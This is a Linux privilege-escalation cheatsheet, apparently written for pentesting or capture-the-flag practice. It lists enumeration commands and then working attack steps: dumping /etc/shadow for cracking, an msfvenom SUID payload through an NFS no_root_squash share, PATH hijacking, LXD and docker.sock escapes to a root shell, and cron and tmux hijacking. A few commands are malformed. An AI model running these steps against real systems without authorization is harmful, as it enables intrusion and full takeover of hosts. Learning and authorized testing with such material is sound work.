Linux PrivEsc Cheatsheet

Enumeration:

System:

- [ ] OS version, `cat /etc/os-release`
- [ ] Kernel version, `uname -a` OR `/etc/issue` OR `cat /proc/version` (Reveals the compiler version along with the kernel version)
- [ ] Checking the sudo version, `sudo -V`
- [ ] env variable, `env`
- [ ] Host name enumeration, `hostname`
- [ ] Check for hosts, `cat /etc/hosts`
- [ ] Available login shells, `cat /etc/shells`
- [ ] CPU version/type, `lscpu`
- [ ] Attached printers, `lpstat`
- [ ] Running LinPeas, LinEnum, Linux Exploit Suggester

Users & Groups:

- [ ] User and group identity information, `id`
- [ ] Gathering usernames from the passwd file, `cat /etc/passwd` OR `cat /etc/passwd | cut -f1 -d:` (Check if the file is writeable)
- [ ] Existing users with login shells, `grep "*sh$" /etc/passwd`
- [ ] Gathering hashes from the shadow file for offline cracking, `cat /etc/shadow` (Use unshadow and johntheripper to crack hashes offline)
- [ ] Existing groups, `cat /etc/group`
- [ ] Members of any interesting groups, `getent group sudo`
- [ ] Check `/home` directory, `.bash_history`, `history` and `.ssh` for individual users
- [ ] View which user last logged in, `lastlog`
- [ ] View Currently logged in users, `w`
- [ ] Finding history files of different users, `find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null`
- [ ] Find users in the `LXC / LXD` groups
- [ ] Try to add/find users in the `docker`, `disk`, `adm` groups

Files & Folders:

- [ ] All hidden files, `find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null`
- [ ] All hidden directories, `find / -type d -name ".*" -ls 2>/dev/null`
- [ ] Finding writeable directories, `find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null`
- [ ] Finding writeable files, `find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null`
- [ ] Finding .conf files, `find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null`
- [ ] Finding config files, `find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null`
- [ ] Finding xml flies, `find / -type f \( -name "*.xml" \) -exec ls -l {} \; 2>/dev/null`
- [ ] Finding backup files, `find / -type f \( -name "*backup*" -o -name "*.bak" \) 2>/dev/null`
- [ ] Finding scripts, `find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"`

Services & Processes:

- [ ] Running services, `ps aux | grep root`
- [ ] Run the tool `pspy64` to check running processes
- [ ] Finding daily cron jobs, `ls -la /etc/cron.daily/`
- [ ] Finding information about processes and kernel from the proc filesystem, `find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n"`
- [ ] Listing installed packages, `apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list`
- [ ] Listing installed binaries, `ls -l /bin /usr/bin/ /usr/sbin/`

Network:

- [ ] Routing table, `route` OR `netstat -ano`
- [ ] ARP table, `arp -a`
- [ ] Check network interfaces, `ip a` OR `ifconfig` OR `ip route`
- [ ] Trace system calls, `strace ping -c1 10.129.112.20`

Disk & File System:

- [ ] Available disk block devices, `lsblk`
- [ ] Checking mounted and unmounted drives, `cat /etc/fstab`
- [ ] Mounted file systems, `df -h`

- [ ] Gathering info about unmounted file systems, `cat /etc/fstab | grep -v "#" | column -t`

Privilege Escalation Vectors:

Permission Based PrivEsc:

Sudo Policy Bypass:

- [ ] Check sudo permission, `sudo -l`
- [ ] Check `sudoers` file, `sudo cat /etc/sudoers | grep -v "#" | sed -r '/^\s*$/d'`
- [ ] Leverage application functions using custom exploitation
- [ ] Custom exploit can be used if the variable `env_keep+=LD_PRELOAD` is set in the sudo permission.
- [ ] Sudo abuse using GTFObins, `for i in $(curl -s https://gtfobins.github.io/ | html2text | cut -d" " -f1 | sed '/^[[:space:]]*$/d');do if grep -q "$i" installed_pkgs.list;then echo "Check GTFO for: $i";fi;done`

SUID & SGID Abuse:

- [ ] Listing files that have SUID bits set, `find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null`
- [ ] Listing files that have SGID bits set, `find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null`
- [ ] Use GTFObins to exploit

Capabilities Abuse:

- [ ] Listing user capabilities, `getcap -r / 2>/dev/null` (Root can be gained if `CAP_SETUID`, `CAP_SETGID`, `CAP_SYS_ADMIN` capabilities are set, other capabilities can lead to different exploitation too so make sure to pay attention to them)
- [ ] Use GTFObins to exploit

NFS File Share Abuse:

- [ ] Check NFS config file, `cat /etc/exports`
- [ ] Check for the privesc vector `no_root_squash` permission
- [ ] Enumerate shares from the attackers host, `showmount -e 10.10.203.238`

- [ ] Mount to the `no_root_squash` NFS share, `sudo mount -o rw 10.10.203.238:/tmp /tmp/attackershost`
- [ ] Generate a msfvenom payload, `msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/fuck/shell.elf`
- [ ] Upload the file and give execution, SUID permission as a root user, `chmod +xs shell.elf`
- [ ] Execute from the target machine

Environment Based PrivEsc:

PATH Hijacking:

- [ ] Check the PATH variable, `echo $PATH`
- [ ] Find for SUID bits executable without fully specified path to manipulate the PATH Variable, `find / -type f -perm -04000 -ls 2>/dev/null`
- [ ] Changing the PATH variable, `export PATH=/tmp:$PATH`
- [ ] Create a malicious binary in the `/tmp` folder

Restricted Shell Bypass:

- [ ] Use command injection techniques to bypass restricted shells, ` ; |
- [ ] Use `ssh` arguments to execute commands before the restricted shell loads

LXC/LXD Abuse:

- [ ] Check if the user in the `lxd` group
- [ ] Find / Download the image / tar ball
- [ ] Import the image, `lxc image import ubuntu-template.tar.xz --alias ubuntutemp`
- [ ] List images after import, `lxc image list`
- [ ] Disable all isolation features, `lxc init ubuntutemp privesc -c security.privileged=true`
- [ ] Mounting the root folder recursively, `lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true`
- [ ] Start the linux daemon, `lxc start privesc`
- [ ] Executing the shell, `lxc exec privesc /bin/bash`
- [ ] Mounting the root folder, `ls -l /mnt/root`

Docker Abuse:

- [ ] Find a user in the `docker` group, `for user in $(cat /etc/passwd | awk -F : ' print $1 '); do echo " user" ; id "$user" ;done | grep -B 1 "docker"``

- [ ] Find locally available images, `docker image ls`
- [ ] Locate `docker.sock` to interact with the docker daemon, `find / -name docker.sock 2>/dev/null`
- [ ] Download and transfer the `docker` binary and give execution policy
- [ ] Use the docker socket to execute commands, `/tmp/docker -H unix:///app/docker.sock ps`
- [ ] Creating a docker container that maps the root directory by using the socket, `/tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app`
- [ ] Getting docker list, `/tmp/docker -H unix:///app/docker.sock ps`
- [ ] Execute commands on behalf of the root mounted docker, `/tmp/docker -H unix:///app/docker.sock exec -it 7ae3bcc818af /bin/bash`
- [ ] Direct root access via the writable `docker.sock` can be accessible if the user in the docker group or the user has write access over the `docker.sock`, `docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash`

Kubernetes BreakOut:

- [ ] Check Google

Service Based PrivEsc:

Corn Jobs Hijacking:

- [ ] Check running cron jobs, `cat /etc/crontab`
- [ ] Look for scripts or jobs without fully specified path or SUID's

Logrotate Abuse:

- [ ] Read the conf file, cat `/etc/logrotate.conf`
- [ ] We need `write` permissions on the log files
- [ ] Logrotate must run as a privileged user or `root`

Hijacking Tmux Sessions:

- [ ] Creating a new session, `tmux -S /shareds new -s debugsess`
- [ ] Modify Ownership, `chown root:devs /shareds`
- [ ] Check for running tmux processes, `ps aux | grep tmux`